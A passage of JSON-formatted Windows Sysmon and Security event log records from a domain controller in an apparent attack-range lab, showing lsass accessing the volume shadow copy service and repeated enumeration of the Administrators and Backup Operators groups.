2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222096,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222097,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222098,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.603\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.603","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775806,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":98,"SourceName":"Microsoft-Windows-Ntfs","ProviderGuid":"{3FF37A1C-A68D-4D6E-8C9B-F79E8B16C482}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76849,"ProcessID":4,"ThreadID":136,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Volume ?? (\\Device\\HarddiskVolumeShadowCopy1) is healthy. No action is needed.","Opcode":"Info","DriveName":"??","DeviceName":"\\Device\\HarddiskVolumeShadowCopy1","CorruptionActionState":"0","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222099,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222100,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DL